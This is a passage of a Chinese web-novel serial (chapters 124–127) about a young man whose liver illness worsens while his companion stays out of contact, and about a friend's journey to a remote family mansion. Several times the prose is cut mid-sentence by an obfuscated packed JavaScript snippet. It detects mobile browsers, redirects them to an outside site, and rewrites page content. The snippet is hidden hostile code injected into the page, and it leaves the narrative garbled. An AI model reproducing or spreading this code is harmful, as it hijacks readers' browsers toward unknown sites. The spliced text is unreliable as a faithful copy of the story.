何晓栋看见施霜景坐在餐桌前,桌上摊着作业本,何晓栋上前打算揶揄施霜景几句,这年头学历贬值成这样,怎么还这么努力呢? 可当何晓栋走近了,他才发现施霜景右拳抵着上腹,垂着脑袋强忍不适。何晓栋问施霜景怎么了,施霜景说肚子有点痛,但没有多说什么。何晓栋想去帮施霜景找药,施霜景不知道自己该吃什么,就让何晓栋去找了止痛药,施霜景吃了一颗。 “喂,施霜景,你真的没事吧?你这样搞得我很内疚。” “睡你的觉。” 施霜景慢慢踱回了房间。如果他的肚子直到明天仍然隐痛,他必须再去一次医院。 这不对劲。 124.细马春蚕篇(二十二) 幸好施霜景让何晓栋去了他家。 第二天早上七点,警察咣咣地敲门,何晓栋在客厅的气垫床上睡觉,被吓得跳起来。施霜景迷迷糊糊间以为自己还在做梦,何晓栋推门进来喊他,施霜景才木楞地坐起身,下床去开门。 警察要把何晓栋带走做笔录。何晓栋手足无措,缩在施霜景身后。为首的老警察一见到施霜景就说:“怎么又是你?你家就不能安生点吗?” 对哦。这短短半年里,施霜景至少和警察局打了三回交道。第一回是间接交道,白院长跑去警局告刘茜搞邪教,谭鸿信上门找施霜景问话,还打算把施霜景带走。第二回是琪琪爸闯入施霜景家,施霜景去做笔录、看录像带。第三回是庄晓来施霜景家踩点,施霜景反跟踪庄晓到小公园,然后报警。 施霜景让何晓栋赶紧换衣服,配合调查。施霜景原本也想跟着去,但警察拒绝了。施霜景换了个说法,说何晓栋昨天在烂尾楼吹了一天的冷风,自己能不能过会儿给何晓栋送点热乎吃的。警察同意了,毕竟厂里现在还没什么外卖店开门,小伙子有饭吃也就没必要吃泡面了。 何晓栋做了错事,不敢声张,灰溜溜地跟警察走了。施霜景扶着餐桌椅回神。他昨晚吃过止痛药之后,肚子倒是不痛了,只是今天觉得累得慌,估计昨天是昨天体力消耗太大了。施霜景给李婉萦发了消息,说李老师如果到了就直接去自习室,他会把钥匙夹在对联背后的空隙里,很抱歉没写作业,家里发生了些事。 对面很快就回了消息,李婉萦问施霜景还好吗,施霜景当然说还好。李婉萦今天大发慈悲,准备带施霜景做做语文卷子,就当是帮施霜景调剂一下。施霜景超级感谢她。 施霜景给何晓栋炒了一份腊肠蛋炒饭,装进饭盒里,带去警察局。他到的时候警察已经做完一轮笔录了,何晓栋简直是哗啦啦全部讲了出来,一点没有藏私。 局里有警察知道施霜景认识谭鸿信,所以施霜景问情况的时候,警察能囫囵给施霜景说个大概,总不好得罪D市刑侦队的干警不是。 警局昨天接到刘茜的报警,得知何晓栋失踪,好在何晓栋的信息都很明确,相貌、电话、失踪时间,应有尽有。他们警局其实最近还接到两起失踪案,都是厂里的年轻人,年纪比何晓栋大些,但大不到哪儿去,二十出头罢了。警局查何晓栋比较方便,因为何晓栋的失踪时间最短,另外两人失踪的时间差不多有一周了,调查进度正卡着。他们查到何晓栋手机信号消失的坐标,何晓栋说是他手机没电了,所以最后的坐标和何晓栋所在位置基本重叠。 何晓栋说他是经人介绍去批发电子烟,这也和警察们彻夜调查的结果相吻合。枉死的两个年轻人正是在这一片兜售电子烟的混混。昨夜施霜景和警察们分头找人,施霜景从上往下找,警察从下往上排查。警察排查的速度也不慢,到十三层的时候,他们忽然在靠近窗户的地方发现了两个散发恶臭的巨大蛇皮编织袋。由于烂尾楼的通风条件极好,在楼梯间只会隐隐约约闻到一股臭味,与烂尾楼散发出的建筑物泥水臭混合在一起,不好分辨,要走到窗边才能确定这是生物组织腐烂的味道。 警察在十三层的另一个无窗房间发现了几个空纸箱,纸箱外贴有快递单,填写内容物是生活用品,但是快递重量和填写的物品严重不符,卷纸不可能这么重。后来警察猜想,这可能是电子烟进货的箱子,这房间可能是某个隐秘的库房,然而现在只剩这些纸皮了。 在施霜景和何晓栋走后,周边警局派来更多警察,给整个烂尾楼拉上警戒线。警察分头排查,一直到后半夜,有一名警察在十八层忽然被人持刀袭击,幸好十九层的警察听见动静,下来及时帮忙,二人合力制服袭击者,将他带回了局里。调查还在进行中,警察暂时还没撬开袭击者的嘴。 何晓栋差点给吓晕了,不敢想昨晚如果施霜景没来找他会发生什么事。他怀疑昨晚他们在二十一层看到的不是鬼影,可能就是凶手听到了动静找上来,不知道要干什么——他带了刀!幸好何晓栋手机没电之后一直老老实实待在楼里,几乎不发出声响。 该怎么形容才好呢?施霜景一点都不感觉到奇怪。 刘茜来警察局接人,施霜景提前回家了,收拾昨天何晓栋借住留下的东西,他还要补课呢。 从警局走回家的路上,施霜景不知道该对罗爱曜说什么。他于心中酝酿多时,答案是他不后悔干涉何晓栋的因果。 此时,罗爱曜的声音忽然插进来:你如果不改掉你这多管闲事的毛病,我很难和你过下去。 施霜景敛眉,平静回道:你怎么还不回家? 罗爱曜:我正在与马鸣论法。诸多玄妙,我很难向你解释。 施霜景:好吧。可我不觉得我做错了。何晓栋是我的朋友。 罗爱曜:他是吗? 施霜景:…… 罗爱曜:你替他挡了这一遭,值得吗? 施霜景:我没办法。我不知道为什么这些事都会找上我。 罗爱曜:我不理解什么叫“找上你”。 施霜景:就是强行落到我面前,要我摸着良心做选择。 罗爱曜:你可以做选择,为什么不做呢?我并没有看到你真正做出了选择,你只是跟随惯性去行动。 施霜景:你问这么多,不就是什么共业不共业的问题。你为什么非要和我共业呢? 罗爱曜:…… 罗爱曜竟然沉默了好一阵。施霜景放慢步子,不愿意回家当着其他人的面走神,和心里的人说话。施霜景在小区底下绕着圈子慢走,终于等到罗爱曜重新开口。 罗爱曜:你知道我救了你多少回吗? 施霜景垂头不语。他知道。好多好多回。 施霜景:可是,你没来的时候,好像没有发生过这么多事。 罗爱曜:…… 施霜景:是你先来招惹我的。 罗爱曜:可笑。 罗爱曜:原来都是我的过错,迷心了。 施霜景:…… 施霜景:我没别的意思,我的意思是…… 施霜景:……我本来就是这样的人。 罗爱曜:罢了,我论法正到酣时,你好自为之,等我回来。 施霜景:加油。 罗爱曜不回话了。 施霜景踱步到小区铁门前,看见车来车往。他转身,现在真的要回家了,可他心中忽然涌上一阵极度的难受。他不知道他为什么难受,也不知道这难受意味着什么。 他不知道,但罗爱曜知道。 罗爱曜意识到,自己与施霜景之间正进行着某种看不见、摸不着的角力,试图改变对方。施霜景仗爱行凶,让罗爱曜一次次搅浑水,这让罗爱曜大为光火。罗爱曜以爱制人,要施霜景压抑他那无用的善勇,约等于就是要改变施霜景整个人的底色了,然而施霜景并不买账。 罗爱曜有那么一瞬,不禁质问自己:如果施霜景死性不改,他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return 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医生马上给施霜景开了肝功能全套和病毒性肝炎标志物检查,还问了施霜景的病史。施霜景满脑子都是他爸,连“病史”两个字都没有反应过来,嘴巴自动自觉地就跟医生说,他爸是肝硬化走的。医生嘀咕了几句,听不真切,反正是让人赶紧做检查。好在施霜景没有发烧,明天下午取检查结果,回来复诊就好。 再过一天,施霜景取结果,复诊,就连施霜景自己都看到,检查单上冒出好几个箭头,时上时下,让人很紧张。医生一键把施霜景送去做腹部CT,检查肝脏形态。 CT显示施霜景的肝脏轻度肿大,可能存在某种肝损伤。幸好施霜景之前的荨麻疹检查也是在这家医院做的,医生调取记录,合并了两次检查的结果,非常谨慎地下了诊断,说现在还没有排查出来具体的疾病,但有可能是自身免疫性肝炎。 由于施霜景的症状相对可控,没有明显的肝衰竭迹象,凝血功能也尚可,医生给施霜景开了糖皮质激素和免疫抑制剂,再加上一些保肝药物,让施霜景先回家吃一周,如果黄疸症状仍未减轻,就必须立刻返院。 施霜景出诊室时,双手不自觉轻颤。 这是施霜景这辈子第一次面临一连串诊断,勾出浓黑色的死亡回忆。他茫然四顾,突地反应过来,自己原来仍是孑然一人。疾病是私密的、孤独的事。施霜景这一刻有种受惩的错觉,浑身凉透,虽然理智安慰他,“轻度”、“仍未见”、“观察”等字眼试图抱住他,可事实上没有任何人或者东西抱住施霜景。施霜景此刻心中荒芜无人静悄悄。 125.细马春蚕篇(二十三) “小景,你生了什么病呀?病历本有没有带在身上?” 晚上施霜景去福利院吃饭,刘茜着急地凑上来。昨天医生让她去拍片,看看之前的骨折自愈情况,其实也并没有什么更好的办法,医生建议保守治疗,刘茜想到装了钛板还得再取,也是更倾向保守治疗,反正她觉得自己这把年纪了,脸有点歪也无所谓,动刀子更难受。只是她现在张口受限,说话就有些含混。这一刻施霜景发现刘茜忽然老了,心里久久不能回神。 “没什么大事,就是太累了。医生给我开了点保肝药,吃一段时间再去复查。”施霜景蒙混道。 刘茜点头,咕哝说:“唉,你不要太紧张,高三是会有些压力的……我们院里没几个孩子会认真备考,我也经验不足。李老师还行吧?她知不知道你的情况?” 施霜景说一切都好,让刘茜不要担心。正好何晓栋出现在厨房,刘茜招他过来,何晓栋一脸怂样地慢慢蹭过来,刘茜当即就抄起饭勺要打何晓栋,他真是太让人生气了!何晓栋连连大叫,灵巧地躲开,完全看不出前两天被施霜景又打又踹的。 “叫他跟你说,他之后的打算是什么!”刘茜气鼓鼓地回厨房了。 施霜景看向何晓栋,何晓栋的拇指食指八字型张开,比着下巴,说道:“我打算盘个小吃车,去学校附近卖炸洋芋。” 施霜景登时松了一口气,他真怕何晓栋再出些什么鬼主意。“摆摊很辛苦,你能坚持?”施霜景扪心自问,他自己都不一定坚持得下来。 “施霜景你别太小看我!你进过励光厂车间吗?说是什么产业升级、全机械化……这年头当工人也很辛苦好不好?年轻的工人只配管自动化机床,牛逼的工人研究手搓螺丝——你懂不懂!” “我真不懂。” “跟你说也是白费劲。我自己给自己打工,赚口饭钱就得了。” 施霜景思考片刻,只说:“你要是能养活自己,在厂里找到房子住,我就考虑给你投资店面。” “得了吧,我做学生生意的,你见到哪家学校对面的铺子没生意?我推小吃车挺好的。” 晚饭时间里,何晓栋一直拉着施霜景讲他的商业计划。何晓栋说他也是受那些个什么电子烟的启发,发现还是学生钱好赚。趁着现在刚开学,他打算好好调查一下附近学校的小吃摊都有什么类型,查漏补缺。施霜景一味听着,其实神思根本不在何晓栋这里。一顿饭吃完,施霜景想回家了,何晓栋仍兴致勃勃、神采飞扬的,施霜景便在告辞前这样说道:“你不要太勉强自己。这年头打工赚钱很累,生意刚开始没起色是正常的。你不要去借那些网贷,打肿脸充胖子。你买小吃车的时候喊上我,我陪你一起去。”施霜景刚才搜了小吃车的价格,发现现在这些三轮车的全套装备也不便宜,心想陪着人一起去,替他垫个款什么的。 “啊,这么好?” “但是你要写一份商业计划书给我。” “施霜景,我学历比你高,你怎么和我摆上谱了?”何晓栋赶紧送人走,“晓得了晓得了,小心我带着商业计划书去找罗老师借钱。” 施霜景心想,不需要找罗老师,施霜景自己都借得起。 接下来几日,施霜景严格按照医嘱服药。他没有给任何人看他的病历和诊断,这时施霜景还以为他的病只是暂时的问题。更何况,他还有罗爱曜。 然而一连好几天,施霜景都没能联系上罗爱曜。不论是在心里呼喊他,还是执香去家里佛龛前对他说话,什么回应都没有。施霜景对自己的疾病很难启齿,总希望罗爱曜能读到或者感知到他的想法,那些曾经的隐私侵犯在某种程度上构成了他们的默契。 罗爱曜又断崖式失联了。施霜景后知后觉地泛起怨愤,罗爱曜说他救过施霜景多少回,可罗爱曜何尝不是同一个问题犯了又犯?地铁站那次失联,施霜景着急上火。这次去马家大宅,聊着聊着,每日的电话亦是取消,罗爱曜只留话说他很忙,反正施霜景永远进不去他的世界,解释也是不需要的,施霜景应该找准自己的位置——施霜景的脑子里冒出一个不恰当又恰当的比喻,他偶尔会觉得自己像是被拴在门口的狗,只能在屋檐下短短一截荫蔽处永居,不能进家因为他很笨也很脏,不能离家因为他不属于他自己。 这个恶毒的比喻也把施霜景吓了一跳。彼时施霜景正压扁了自己的药盒,一张一张收纳起来。他蹲在陈旧的木柜前,里面好多药。那些避孕药装在白色的、印有药店名字的塑料袋里,唯一一盒打开过的是紧急避孕药。罗爱曜明明可以用他的招数把东西弄出来,他为什么要去买套和买药?好矛盾的一个人。施霜景扣好避孕药的药盒,将塑料袋捆紧,塞到药柜的最里侧。其他药大多都过期了,施霜景照吃不误。看到那么多药,想到那么多次身体不适,施霜景想,罗爱曜的法身不是一直跟在他身边吗?不能替他治吗? 罗爱曜的手指抚过施霜景起疹子的地方,红肿疼痒就消下去。就像那样的治疗。为什么——我们前几天是在吵架吗? 施霜景枯坐在地,他其实已不记得那天自己在心里和罗爱曜具体吵些什么了,就是说了些谁先招惹谁的气话。那根本算不上吵架啊。可如果罗爱曜小气,就这样不理他了,那施霜景也不能做什么。 早春的暖阳洒满整间客厅,又给防盗窗割出一格一格。施霜景就坐在格与格中间,身上很温暖,内心很孤独。孤独的境遇本不糟糕,糟糕是因为有对比与落差。经历过两个人的生活,又把一个人从两人的画框里割出来,放进光影的笼子里。一寸光阴一寸金,一寸一寸地丈量,好近。光阴好近。施霜景伸手就能摸到了。 到二月底,施霜景的黄疸不仅没好,甚至荨麻疹又犯了,犯得极其严重,浑身红红粉粉,肿块似的。施霜景打电话给柳闻斌,希望他帮忙送自己去医院。柳闻斌一到施霜景家就吓得魂飞魄散,前来教课的李婉萦也难掩慌张神色,她知道施霜景在吃药啊,可是怎么突然爆发得这么严重?施霜景摆摆手,说不出话了。柳闻斌让李婉萦赶紧搭把手,把施霜景背到楼下,送上车去。施霜景躺在车后座,很狼狈地用手臂遮住自己的脑袋,不愿别人多看自己的过敏痕迹。 李婉萦当即决定跟车一起送施霜景去急诊。柳闻斌都快把油门踩出火星子了,饶是他这样四十多岁的中年大叔,碰到这样的事依旧是焦头烂额,他满心想道,完蛋了,佛子让他照顾施霜景,自己就照顾成这样?他真的完蛋了。可是佛子难道不知道施霜景生病吗?他俩这是怎么了? 柳闻斌很犹豫要不要直接把施霜景送去华西,但考虑到施霜景的荨麻疹检查是在省人民医院做的,柳闻斌还是选择了后者。柳闻斌不知道施霜景去医院做过第二次检查。他们把施霜景送到急诊,医生过来询问发病情况时,施霜景全部说了,从他犯荨麻疹到他之前黄疸来做检查。这时柳闻斌才知道,原来施霜景知道自己生病, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600448|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 而且生的是这么严重的病。 急诊医生马上给施霜景做紧急指标检查和静脉补液,施霜景躺在急诊病床上,忙碌的医生护士来来去去,柳闻斌短暂地消失了一小会儿,回来之后他忘记李婉萦也在病床旁,直接对施霜景道:“我联系不上佛子,你是不是也联系不上?” 施霜景抬眼望向柳闻斌,怔怔盯了一会儿,他才微微偏头,说道:“原来你也联系不上。我还以为只有我联系不上呢。” “不是,这马家人到底有什么毛病?这都一个月了!佛子竟然还没回来?!佛子不会被马家人害了吧?” 李婉萦在旁听得一头雾水,“佛子?佛祖的佛吗?” 施霜景说:“我们是在说罗爱曜。” “哎哟,小景,啷个办哦,你那么可怜……”柳闻斌的郁闷溢于言表,“你病了多久?上次你就该喊我陪你来的!不行就该直接住院!” 李婉萦则是安慰施霜景,要施霜景好好养病照顾自己,她真是非常内疚,拉着生病的施霜景复习——也是施霜景真能扛,他告诉李婉萦自己是有点肝方面的问题,吃着药呢,没大事。但其实施霜景最近疲惫感极其强烈,他完全是靠意志力将自己压在书桌前听课,有时甚至靠着上课转移注意力,遗忘自己右腹的隐痛。 检验结果很快便下来,急诊医生联系了消化内科医生过来会诊,省人民医院没有专门的肝病中心。消化内科收治了施霜景,接下来这一整天都在完善专科检查。施霜景的荨麻疹爆发很严重,医生用药非常谨慎,因为一些抗组胺药对肝功能的影响也很大。折腾到晚上,施霜景仍没拿到个结果,只觉得浑身很无力。 李婉萦守到晚上八点才走。柳闻斌只是起身去给施霜景接水,施霜景便立刻说:“柳哥,你今晚能不能先别走?” “哎,我不走,我当然不走。”柳闻斌好心疼,不自觉切换成哄儿子的语气,“我去给你接点水。你饿不饿?我这里还有颗鸡蛋。” 施霜景摇头,只是目送柳闻斌去打水。柳闻斌打完水回来,发现施霜景还盯着门。施霜景睡中间的病床,左右不靠的,柳闻斌一下午都在找关系,要华西的病床,他想把施霜景转去华西医院。 两旁都有病人,已到了睡觉的时间,靠门的病床和陪护家属已经睡了。柳闻斌请人架了陪护床,拉上帘子,尽量为施霜景隔离出休息的空间。柳闻斌一边做事,一边安慰施霜景:“小景你放心,你柳哥我天天跑医院,很熟练的。你有没有想吃的东西,明天我让你嫂子做了带过来。会没事的,你吉人自有天相,等佛子回来就好了。” 一提到佛子,施霜景这才抬起没输液的左手,用衣袖擦了擦眼睛。 “要是他不回来呢?”施霜景的声音中隐隐透出崩溃。他忍了一整天……不止一天。他忍了好久。直到现在,他才终于有些抑制不住自己内心的恐惧,不得不问了。 柳闻斌也有点眼湿,说到底他也只是个很感性的中年人。柳闻斌轻声但坚定地说:“他要是不回来,我就去马家找他。你不要担心,我知道马家怎么去,从D市坐飞机到西宁,再开车去祁连山,路线我都记得的。佛子不会不管你,他肯定是被事情拖住了。你要好好休息,一定要等佛子回来,他回来就有办法了。” “谢谢柳哥。” 柳闻斌将热水倒进盆里,拧热毛巾给施霜景擦了脸。施霜景不愿意把自己的情况告诉福利院的人,这人犟着呢。 126.细马春蚕篇(二十四) 你必须坚强。施霜景对自己说。这是你自己的病,约等于你自己的事。你必须坚强,如果坚强是一种后天获得的能力,以前能做到的,现在仍然能做到,没道理让它从自己的手里逃走。你必须坚强。现在已经很好了,身边有长辈和朋友,治病的资金也暂时不用担心。你必须坚强。 施霜景神志清醒,但呈现一种灵魂深处的疲乏。他不再像以前那样沾枕头就睡。他被家里的大床养刁了,病床寝具被浆洗、消毒得发硬,枕头又硬又软,床铺也又硬又软。施霜景睡不着,柳闻斌在陪护床睡觉,施霜景凌晨两点醒来,翻开手机看一眼,他只想看到罗爱曜的消息,可惜没有。他睁眼到五点,好不容易睡着了,早上八点不到医生就来查房,布置今天的检查和治疗方案。 手上埋着留置针,施霜景不论是上厕所还是吃饭都很难忽视手上的异物感,不敢随意挪动,输液急了会手臂冰凉,睡觉翻身时不要压到它。柳闻斌租了一辆轮椅,推施霜景去做各种检查,施霜景觉得很不好意思,但他一瞬间惊觉,为什么站起来、走路、坐下、再站起来这个过程会这么辛苦?施霜景有种被撕扯的强烈感觉,看不见的大手将他强壮的灵魂从身体上撕下来,血淋淋地,所以身体行尸走肉,依附在身体上的灵魂也孱弱地流血中。 入院的第三天,刘茜带何晓栋来看施霜景。柳闻斌还是把施霜景生病的事传回了福利院,原因是他看不下去施霜景孤零零的样子。隔壁床的病人有家人和娱乐,手机短视频的声音响个不停,战争、政治、谈判,家长里短、邻里邻外、婆媳关系,美女、帅哥、舞蹈,明星、偶像、演员……施霜景什么也不喜欢。柳闻斌看施霜景偶尔就翻开手机,用微信和别人聊聊天,单手打字累了就放下手机,躺下来,好像是要入睡,可柳闻斌看施霜景好像时隔十五、二十分钟就会醒过来,也不知道他到底睡着没有。没办法,柳闻斌才带了施霜景认识的人过来。 “施霜景,没事的,我来和柳哥换手。”何晓栋拍拍胸脯。 “你少来,小屁孩一点不省心,你让你景哥去找你的事我还没找你算账。”柳闻斌推开何晓栋,让他别碍事。 “如果我不来,那刘老师就要来了。”何晓栋说。 刘茜炖了汤带过来,沉默地布置着不锈钢餐盒。施霜景确信,刘茜看起来更老了。刘茜的脸上绑着固定下颌骨的肉肤色绑带,不方便说话,也不知道说什么才好。施霜景吃饭的时候,刘茜打了热水袋来给施霜景暖手,暖那只正在输液的手。 在她不知道施霜景到底发生了什么的时候,她流泪,她伤心。现在诊断已经出来了,治疗也已经在进行中了,刘茜还能向谁许愿呢?福利院里那些病逝的小孩也都是她送走的,时到今日她仍不能适应这种孩子被老天带走的痛苦。然而,她还能做什么呢?如果向鬼子母神许愿有用,那施霜景已经出院了。刘茜能体验到施霜景现在正反复经历的荒谬。神佛在场,神佛不应,命似乎是不能改的,人类的事都关在了人类世界的门里。 “我是认真的。我不打游戏,施霜景喊我做什么,我就做什么。”何晓栋仍然坚持。 柳闻斌不想当着施霜景的面说,就拉着何晓栋去了走廊。“你还是个小屁孩,你会应付医生和护士吗?怎么按铃护士都不来的时候怎么办?医生向你解释病情和治疗方案你能听懂吗?施霜景不喜欢说话,你能观察他的情况吗?”柳闻斌虽是反问,但并没用奚落的语气。 何晓栋给柳闻斌教育得不会说话了。柳闻斌说:“你们白天过来就行了。晚上我和老婆轮流过来照顾小景,你们别和我争这个。” “柳哥,你们都是看在罗老师的面子上才来的……” “或许吧。谁知道呢。医生说小景病情不容乐观,起病太快了。就得要我这种二皮脸守在病床前才有用。你看病房里哪个医生走路是慢慢悠悠的?大家都忙得很,有什么事还是要我这种人去一次两次三次地请医生过来。” 回到病房,何晓栋就不再提晚上陪护的事了。柳闻斌似乎不打算请护工,现在施霜景尚能自理,不到这一步。刘茜频频看向施霜景,比起生病不能说话的刘茜,施霜景才是沉默得可怕。他没有抱怨,没有安慰,没有交流,有点像赌气的沉默,但仔细咂摸才发现,这是一种极致的冷漠。没有任何人见过施霜景这一面。 二月二十六日,施霜景的下肢开始水肿。 二月二十七日,施霜景黄疸加深,荨麻疹反复发作,夜不能寐。 二月二十八日,施霜景做了肝脏穿刺活检,医生想趁施霜景病情更恶化之前最后做一次,但结果并不好。 三月一日,医生提到了“人工肝”。 三月二日,柳闻斌说,我去找罗爱曜。 太快了。这一切都太快了,几乎是一天一个样。柳闻斌早上来病房说他要去找罗爱曜,中午飞机就起飞去西宁。柳闻斌的妻子童蕾接手照顾施霜景,她素来很泼辣的,可知道佛子去马家是为了换她和她儿子回家,童蕾无论如何都要来。她把儿子放回娘家,让自己的父母先代为照顾。童蕾请了一位护工,但随身照顾一直是她来。她看见这个男孩萎黄地躺在病床上,肝病让人看起来很落拓,即黄且黑,没有人再会立刻注意到男孩的英俊,病气如纱,整个将人罩了去。 刘茜接手了施霜景的猫,承诺每天都会去施霜景家照顾小猫,还会给施霜景发猫的视频和照片。偶尔施霜景会在视频里喊玉米的名字,相比起人,施霜景似乎更愿意对猫说话。 下午童蕾去和医生谈了方案,她们找到了华西的病床,打算晚上用救护车将施霜景送去华西。童蕾回来看见施霜景手机还亮着,可施霜景靠着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15600449|168887||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 微升的床头睡着了。童蕾发誓她不是故意看施霜景的手机,手机停在一个群聊页面,童蕾很快地翻了翻。 这似乎是个K歌群组,这几天聊天很活跃。施霜景现实中完全闭嘴,倒是愿意在群组里多说几句。施霜景夸群主的小孩长得小帅,大有可为;群里的女孩抱怨年后工厂倒闭了,无处可去,施霜景给女孩发了定向的红包,两百块,女孩想来D市找施霜景玩,施霜景说那等到春天吧,最近还是冬天呢;群里的宝妈在做兼职,施霜景帮不了更多,只能在自己的主页转发宝妈的翻唱,还在群里说她的声音很像林忆莲,宝妈很开心。 童蕾想去看施霜景和佛子的对话,可她在主页面上找不到施霜景和佛子的对话栏。不该她看的东西,她不能看。童蕾将页面调回群组,将手机放回原位,心里憋堵得慌,她认识的华西的医生已经看过施霜景的检查报告了,说很不乐观,可能就是这几天的事。柳闻斌不死心,还埋怨自己关系不够到位,要是早给施霜景转院就好了。 所有来见施霜景的人都会想同样的问题:施霜景到底在想什么呢?你什么都不说,别人怎么能知道你是什么感受呢?生病已经够可怜了,为什么不说呢? 从D市飞西宁只需要一个半小时,柳闻斌下午抵达西宁,立刻租车,打算前往祁连县,同时他疯狂地联系马家的司机。柳闻斌之前安慰施霜景的话里,一半都是假话——他只知道马家大概的方位,毕竟他当时没有跟车直接去到祁连的马家大宅,当时他们在西宁就分开了,佛子要柳闻斌替他照顾施霜景。柳闻斌在西宁焦急地等司机的回信,甚至一度觉得自己真的完蛋了,因为司机不回他消息。 幸好柳闻斌晚上收到了回信。之前□□歌派了两位司机去接佛子和柳闻斌,其中一位回了□□歌的消息,说现在马家大宅还在举行家族聚会,但这位司机不在马家,毕竟他又不是马家人。 柳闻斌表示他非常着急,他必须去马家大宅找卓先生。司机又晾了柳闻斌半宿。第二天早上,柳闻斌重新组织语言,半真半假地说明情况,大意是卓先生的对象病重,如果卓先生看不到他爱人的最后一面,柳闻斌不敢想卓先生会做什么事。司机倒是回话了,他没想到卓先生现在还没回来……他在马家到底干什么呢?柳闻斌说,我出五十万,你送我去马家大宅,你把我送到那附近就行,就当是我自己找上门来的。 司机表示不行,马家邪门得很,他怕遭报应。柳闻斌当即打电话过去,大骂道:“报应?!你知道什么是报应吗!我不晓得你们马家到底是什么老祖菩萨,但你们有可能全部要遭佛子的报应!你知道佛子吧!就是你们马老板千请万请的佛子像主人。我懒得和你解释那么多,五十万,你要还是不要?” 有钱能使鬼推磨。三月三日,司机来西宁找到柳闻斌,驱车前往祁连草原。 127.细马春蚕篇(二十五) 出发的那个早晨,柳闻斌忽然发现天色如此美丽却诡谲,草原上浓灰色乌云压顶,那东升西落的太阳本应该提供着稳定不变的光源,使得乌云背后衬有明亮不变的纯白底色,然而今天不一样,云上像是起沙了,乌云背后的衬底是烟黄色,太阳在流动的云层中闪烁红光,灰乌的流云透着紫意,淡茄色的天空不知道是酝酿着风雨还是更不可言说的灾祸。柳闻斌坐在副驾驶座上,没心思和司机闲聊,可他不得不闲聊,信息就是一切。 他们从城区开到高速,再从高速开到县城城区。司机拧开水瓶,说他给马家工作这些年,这还是第一次见到这样的天,好他妈的恐怖,他一路开过来,一直担心会不会下大暴雨,要是等会进草原再下暴雨就麻烦了。柳闻斌当时就应该捂住司机的嘴,让他不许再说。在县城随便吃了点东西,也在车里准备了些补给,这就往草原深处的马家大宅去。 好死不死,车开到一半,天上果然是浇了大水,简直是垂直发海啸一样,雨水倾倒下来,司机硬着头皮往前开,一边开一边说:“不能停,停下来就积在水洼子里了。”柳闻斌紧张得快吐了,车辆越来越颠簸,司机忽然踩刹车,原来是险些撞上暴雨里乱窜的牛。司机不敢鸣笛,可这牛怎么走个没完了,一时间他们产生了某种错觉,认为车辆前后都有横穿的牛群。雨水砸在车顶上,仿佛要将车砸穿。柳闻斌心一横,拿来后座的背包,拉下拉链,捧出一座鎏金的佛像,司机见鬼一样看着柳闻斌,柳闻斌用衣袖不停地擦拭佛像,仿佛想要将佛像擦秃噜皮。擦完了,然后呢?柳闻斌也很茫然,他刚才在心里许愿,不管是雨还是牛,都快点过去吧,但佛子这时候肯定是不会回话的。 然而就是天际闪电刺下来那一瞬,白光仿佛在斜雨上无限反射,二人再一睁眼,牛群不见了,眼前也能见到路了。柳闻斌让司机赶紧开,司机艰难地打方向盘,在雨中找到去马家大宅的路很是不容易,幸好暴雨没有破坏他们沿路留下的不显眼路标。 终于,二人在行驶两个小时之后抵达了马家大宅。看着马家大宅的门楼,柳闻斌满腹杂话不知从何说起,这好像一座死宅,大门禁闭不说,门头的红灯笼给雨打落了下来,烂糊在地上,石狮子则显出很脆弱的样子,明明是这样坚硬的摆件,却好像一碰即碎。 柳闻斌上前敲门,无应答,那就撞门,撞不开。司机不好帮忙,但他也不打算现在就把车开走。太怪了。太恐怖了。青天白日的,心里怎么会这么恐惧?司机想到如果柳闻斌回不来,五十万就打水漂了,就凭这个他都要留下来等。柳闻斌转头冲车里的司机大吼,让他来帮忙,司机这才不情愿地顶着雨前来。 他们一连敲了好久好久,久得都令人怀疑这是不是找错了地方。柳闻斌决定不再等了,他想爬进去。马家大院的围墙大概三米高,柳闻斌摸了摸墙的手感,试了试蹬住墙,仔细回想自己青少年时期翻墙的经验,就这样手脚并用地攀了上去。司机在后头时刻准备为他借力,柳闻斌不小心踩空一脚,司机用肩膀补上,柳闻斌很快便骑在了院墙之上,幸好马家人不像城里修围墙一般,在墙上扎碎玻璃片来防贼。 看到眼前这一幕,柳闻斌惊吓至极,所有语词皆死掉了。 他看见马家大院的地上铺着一层厚且绒的白丝,如棉如蚕丝,更像他老家做霉豆腐时发出的厚厚一层菌丝,丝絮之间,好像有人形的东西横七竖八地躺嵌在里面。更骇人了。柳闻斌很怕惊醒这一屋子不知道是什么东西的东西,僵着脖子想要翻出墙,回到马家大宅外。可这时柳闻斌又是一激灵,他来这里是为了找到佛子,替施霜景问佛子一句,你到底在干什么? “把我的包扔上来给我!” 司机一紧张,不小心把包直接扔进了大宅里。这下柳闻斌不得不下去了,他心说如果他出不去,死在了这灵异大宅子里,就是这司机害的! 